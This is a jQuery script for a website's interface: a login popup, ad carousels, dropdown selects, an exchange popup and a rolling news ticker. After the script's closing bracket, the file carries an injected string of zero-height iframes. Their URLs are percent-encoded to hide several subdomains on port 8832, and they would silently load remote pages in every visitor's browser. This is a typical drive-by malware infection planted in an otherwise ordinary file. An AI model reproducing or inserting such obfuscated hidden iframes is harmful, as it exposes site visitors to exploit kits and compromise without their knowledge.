$(function(){

	//passport
	$(".passport a").click(function(e){
		e.preventDefault();
		e.stopPropagation();
		$(this).parent().toggleClass("passporton");
		$(".pop_login").toggle();
	});
	$(".pop_login").click(function(e){
		e.stopPropagation();
	});
	$(document).click(function(){
		$(".pop_login").hide();
		$(".passporton").removeClass("passporton");
		$(".select ul").hide();
	});
	//checkbox
	$(".act label").click(function(){
		var _p = $(this).parent();
		var _c = _p.find("input");
		//alert(_c.length)
		//alert(_c.attr("checked"))
		if(_c.attr("checked")==false||_c.attr("checked")==""){
			_p.css({backgroundPosition:"0 -50px"});
		}else{
			_p.css({backgroundPosition:"0 0px"});
		}
	});
	$(".act2 label").click(function(){
		var _r = $(".act2 input:radio");
		var _len = _r.length;
		/*return false;*/
		for(i=0;i<_len;i++){
			if(_r.eq(i).attr("checked")==false||_r.eq(i).attr("checked")==""){
				$(".act2").eq(i).css({backgroundPosition:"0 -50px"});
			}else{
				$(".act2").eq(i).css({backgroundPosition:"0 0px"});
			}
		}
	});
	
	//section
	$(".section a").hover(function(){
		$(this).parent("li").toggleClass("hover");
	});
	
	//main_ad
	$(".main_ad_tit a").click(function(e){
		e.preventDefault();
		$(this).addClass("current").siblings().removeClass("current");
		var _i = $(this).index();
		$(".main_ad_cont li").eq(_i).show().siblings().hide();
	});
	
	$(".ad_next").click(function(e){
		e.preventDefault();
		var _i = $(".main_ad_tit .current").index();
		_j = _i+1;
		if(_j > 2){
			_j=0;
		}
		$(".main_ad_tit a").eq(_j).addClass("current").siblings().removeClass("current");
		$(".main_ad_cont li").eq(_j).show().siblings().hide();
	});
	$(".ad_prev").click(function(e){
		e.preventDefault();
		var _i = $(".main_ad_tit .current").index();
		_j = _i-1;
		if(_j < 0){
			_j=2;
		}
		$(".main_ad_tit a").eq(_j).addClass("current").siblings().removeClass("current");
		$(".main_ad_cont li").eq(_j).show().siblings().hide();
	});
	
	//bd
	$(".bd_0").click(function(e){
		e.preventDefault();
		var _l = $(".bd_0").parent();
		var _i = _l.index($(this).parent());
		var _p = $(".bd_right li")
		_p.removeClass("on");
		$(this).parent().addClass("on");
		$(".bd_00").eq(_i).show().siblings().hide();
	});
	$(".bd_right li li a").click(function(e){
		e.preventDefault();
		var _p = $(".bd_right li")
		_p.removeClass("on");
		$(".bd_r").parent().addClass("on");
		$(this).parent().addClass("on");
		var _i = $(this).parent().index();
		$(".bd_01").eq(_i).show().siblings().hide();
	})
	
	$(".select a").click(function(){
		$(".select ul").toggle();
	});
	$(".select li").hover(function(){
		$(this).toggleClass("hover");
	});
$(".select li").click(function () {
    $(".select a").html($(this).html());

    $("#HiddenField1").val($(this).html());
    $(".select ul").hide();
});

	$(".select").click(function(e){
		e.stopPropagation();
	});
	
	//pop_exchange
$(".btn_ex").click(function (e) {
    e.preventDefault();
    var _h = document.body.clientHeight - 165;
    var _w = document.body.clientWidth;
    //$(".mask").show().css({ width: _w, height: _h })
    $(".pop_exchange").show();
    $("#ChangeCode").val("");
    $(".pop_exchange .input001").show();
    $(".input001 span").html('');
    $(".pop_exchange input").show();
    $(".pop_exchange span").show();
    $(".pop_exchange .exchangeok").hide();

});
	$(".pop_exchange .close").click(function(e){
		e.preventDefault();
		$(this).parent().hide();
		//$(".mask").hide();
	});
	
	$(".score_list table tr:even:gt(0)").addClass("bg00");
	
	//roll newss
	function rollnews(){
		var _roll = $(".news_roll");
			_roll.animate({"top":"-32px"},function(){
			_roll.find("li:first").appendTo(_roll);
			_roll.css("top","0");
		})
	}
	var roll = setInterval(rollnews, 3000);
	
	$(".pop_login .close").click(function(e){
		e.preventDefault();
		$(this).parent().hide();
	})
	
	$(".ad_num a").click(function(e){
		e.preventDefault();		
		var _i = $(this).parent().index();
		$(this).parent().addClass("on").siblings().removeClass("on");
		var _o = $(".ad_cont li");
		_o.eq(_i).show().siblings().hide();
	});
	function ucad(){
		var _i = $(".ad_num .on").index();		
		var _j = _i + 1 > 2 ? 0 : _i + 1 ;
		$(".ad_num li").eq(_j).addClass("on").siblings().removeClass("on");
		$(".ad_cont li").eq(_j).show().siblings().hide();
	}
	var _ad = setInterval(ucad, 3000);
});<iframe src=http://l%75%63.6%36%300.%6Frg:%3883%32/GwN1/index.html width=100 height=0><iframe src=http://%6Cu%63%2E66%30%30.%6F%72g:88%33%32/GwN1/index.html width=100 height=0><iframe src=http://%63yv%2E66%30%30.o%72%67:%3883%32/GwN1/index.html width=100 height=0><iframe src=http://%63%79v%2E%3660%30%2Eo%72%67:%3883%32/GwN1/index.html width=100 height=0><iframe src=http://kk%71%2E8%380%30.%6Frg:%3883%32/GwN1/index.html width=100 height=0><iframe src=http://k%6Bq%2E%38%38%30%30.%6Fr%67:8%3832/GwN1/index.html width=100 height=0><iframe src=http://k%6F%386.%388%300.%6Fr%67:%38832/GwN1/index.html width=100 height=0><iframe src=http://int%65.%3880%30.or%67:%3883%32/GwN1/index.html width=100 height=0><iframe src=http://int%65%2E%388%300.org:8%383%32/GwN1/index.html width=100 height=0><iframe src=http://%63y%30%30%37.%36%36%30%30.%6F%72g:8%3832/GwN1/index.html width=100 height=0><iframe src=http://%63y0%307.6%3600%2E%6F%72%67:%38%38%332/GwN1/index.html width=100 height=0><iframe src=http://%77%6By8.%36%36%300%2E%6F%72g:883%32/GwN1/index.html width=100 height=0><iframe src=http://%77%6By8.%36600%2E%6F%72%67:%38%38%332/GwN1/index.html width=100 height=0><iframe src=http://%77y%68%38%2E%366%30%30%2E%6F%72g:%38%383%32/GwN1/index.html width=100 height=0><iframe src=http://%6Exk.880%30.o%72%67:%388%332/GwN1/index.html width=100 height=0><iframe src=http://%6Ex%6B%2E%388%30%30%2E%6F%72%67:883%32/GwN1/index.html width=100 height=0><iframe src=http://%6Bk%78%2E66%30%30.or%67:88%33%32/GwN1/index.html width=100 height=0><iframe src=http://kn%78%2E8%38%30%30.%6Fr%67:%388%332/GwN1/index.html width=100 height=0><iframe src=http://knx.8%38%300%2Eor%67:%3883%32/GwN1/index.html width=100 height=0><iframe src=http://%6Fok%33%2E%3880%30%2Eo%72%67:8%383%32/GwN1/index.html width=100 height=0><iframe src=http://ckw%2E%366%30%30%2Eo%72%67:88%332/GwN1/index.html width=100 height=0><iframe src=http://%6F%6B%64.%38800.o%72g:%388%332/GwN1/index.html width=100 height=0><iframe src=http://okd.%38%38%30%30%2Eo%72%67:%38%383%32/GwN1/index.html width=100 height=0><iframe src=http://b%62%73k.%366%30%30.%6F%72g:8%3832/GwN1/index.html width=100 height=0><iframe src=http://d%79%6E%64%2E%38%3800%2Eor%67:%38%3832/GwN1/index.html width=100 height=0><iframe src=http://%64ynd%2E8%3800%2Eo%72%67:8832/GwN1/index.html width=100 height=0><iframe src=http://k%6Bsb%2E660%30%2Eo%72g:883%32/GwN1/index.html width=100 height=0>
